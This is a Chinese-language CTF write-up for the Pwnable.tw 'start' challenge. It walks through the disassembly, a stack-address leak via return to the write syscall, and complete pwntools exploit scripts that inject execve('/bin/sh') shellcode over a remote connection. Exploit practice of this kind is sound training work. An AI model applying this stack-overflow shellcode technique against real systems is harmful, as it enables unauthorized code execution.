Pwnable.tw—start
最近比赛玩了好几天的pwn,发现老是差点火候,开始正式刷刷Pwnable.tw看看。
题目分析:
checksec :
第一次遇到什么防护都不开的程序,兴奋。
IDA:
题目只有start和exit。
检测栈有点问题,不能够F5,强行看汇编。。。
.text:08048060 public _start
.text:08048060 _start proc near
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push ':FTC'
.text:08048073 push ' eht'
.text:08048078 push ' tra'
.text:0804807D push 'ts s'
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit proc near ; DATA XREF: _start+1o
.text:0804809D pop esp
.text:0804809E xor eax, eax
.text:080480A0 inc eax
.text:080480A1 int 80h ; LINUX - sys_exit
.text:080480A1 _exit endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text ends
.text:080480A1
.text:080480A1
.text:080480A1 end _start
汇编代码直接采用了系统调用,
具体的翻译可以看这个:
Linux Sysycall Reference
把这个汇编翻译成C:
(并不是很想用软件画QAQ)
下面是翻译的代码:
void start()
{
buf[20]="Let's start the CTF:";
sys_write(1,buf,20);
sys_read(0,buf,60);
}
void exit()
{
sys_exit();
}
思路分析:
1.没有保护,在buf开始写入shellcode,直接栈溢出,跳到buf的位置,然后执行即可。
但是buf只有20位,shellcode有21-44位,行不通。Pass!
2.既然堆不够那就看栈,先跳到buf的首地址08048087,跳到利用write函数leak出&buf的栈地址,然后再利用read在栈的溢出位置&buf+20的位置写入shellcode,从而二次溢出时跳到栈的位置+20即shellcode的栈位置从而执行栈上的shellcode。
执行测试:
先leak出buf的地址。
代码:
#coding:utf-8
from pwn import *
file_name="./start"
context(log_level = 'debug', arch = 'i386', os = 'linux')
p=process(file_name)#本地
#p=remote('pwnable.kr',9000)#远程
buf_ar=0x8048087
def leak():
p.recv(100)
payload='A'*20+p32(buf_ar)
p.send(payload)
k=p.recv(4)
return hex(u32(k))
buf_sta=leak()
print "buf's stack address is:",buf_sta
结果如下:
程序到这里有会有read。
所以再后面来一次栈溢出,执行shellcode。
由于用pwn的shellcraft.sh的位数多于60位,所以要换一个shellcode。
exp:
#coding:utf-8
from pwn import *
file_name="./start"
context(log_level = 'debug', arch = 'i386', os = 'linux')
#p=process(file_name)#本地
p=remote('chall.pwnable.tw',10000)#远程
#shellcode=asm(shellcraft.sh())
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
buf_ar=0x8048087
def leak():
p.recv(100)
payload='A'*20+p32(buf_ar)
p.send(payload)
k=p.recv(4)
return u32(k)
def get_pwn(addr):
payload='A'*20+p32(addr+20)+shellcode
#print "payload len is :",len(payload)
p.send(payload)
p.interactive()
buf_sta=leak()
print "buf's stack address is:",buf_sta
get_pwn(buf_sta)